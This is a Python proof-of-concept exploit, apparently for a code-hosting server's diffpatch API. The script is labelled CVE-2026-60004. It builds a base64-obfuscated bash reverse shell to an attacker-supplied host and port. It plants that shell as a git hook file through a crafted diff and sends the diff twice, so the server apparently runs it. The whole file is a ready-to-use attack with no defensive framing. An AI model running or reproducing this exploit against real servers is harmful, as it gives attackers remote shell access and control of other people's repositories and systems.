#!/usr/bin/env python3

import argparse, base64, hashlib, json, sys, urllib.error, urllib.parse, urllib.request


parser = argparse.ArgumentParser(description="CVE-2026-60004 reverse-shell PoC")
parser.add_argument("--url", required=True)
parser.add_argument("--user", required=True)
parser.add_argument("--pw", required=True)
parser.add_argument("--repo", required=True)
parser.add_argument("--lhost", required=True)
parser.add_argument("--lport", type=int, default=4444)
parser.add_argument("--branch", default="main")
parser.add_argument("--timeout", type=int, default=300)
args = parser.parse_args()

shell = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
command = "echo " + base64.b64encode(shell.encode()).decode() + " | base64 -d | bash"
hook = f"#!/bin/sh\n{command}\n"
data = hook.encode()
sha = hashlib.sha1(b"blob " + str(len(data)).encode() + b"\0" + data).hexdigest()
lines = hook.splitlines()
diff = (
    "diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
    "new file mode 100755\n"
    f"index {'0' * 40}..{sha}\n"
    "--- /dev/null\n"
    "+++ b/hooks/post-index-change\n"
    f"@@ -0,0 +1,{len(lines)} @@\n"
    + "".join(f"+{line}\n" for line in lines)
)

base_url = args.url.rstrip("/")
user = urllib.parse.quote(args.user, safe="")
repo = urllib.parse.quote(args.repo, safe="")
endpoint = f"{base_url}/api/v1/repos/{user}/{repo}/diffpatch"
auth = "Basic " + base64.b64encode(f"{args.user}:{args.pw}".encode()).decode()
body = json.dumps({"content": diff, "message": "apply patch", "branch": args.branch, "new_branch": args.branch}).encode()

print(f"[*] callback: {args.lhost}:{args.lport}")
for attempt in range(1, 3):
    request = urllib.request.Request(endpoint, data=body, method="POST", headers={"Content-Type": "application/json", "Authorization": auth})
    try:
        with urllib.request.urlopen(request, timeout=args.timeout) as response:
            response.read()
            print(f"[+] diffpatch {attempt}/2: HTTP {response.status}")
    except urllib.error.HTTPError as error:
        print(f"[-] HTTP {error.code}: {error.read().decode(errors='replace')}", file=sys.stderr)
        raise SystemExit(1)
    except TimeoutError:
        if attempt == 2:
            print("[+] request timed out while the reverse shell may be active")
            break
        raise

print("[+] payload delivered; check the listener")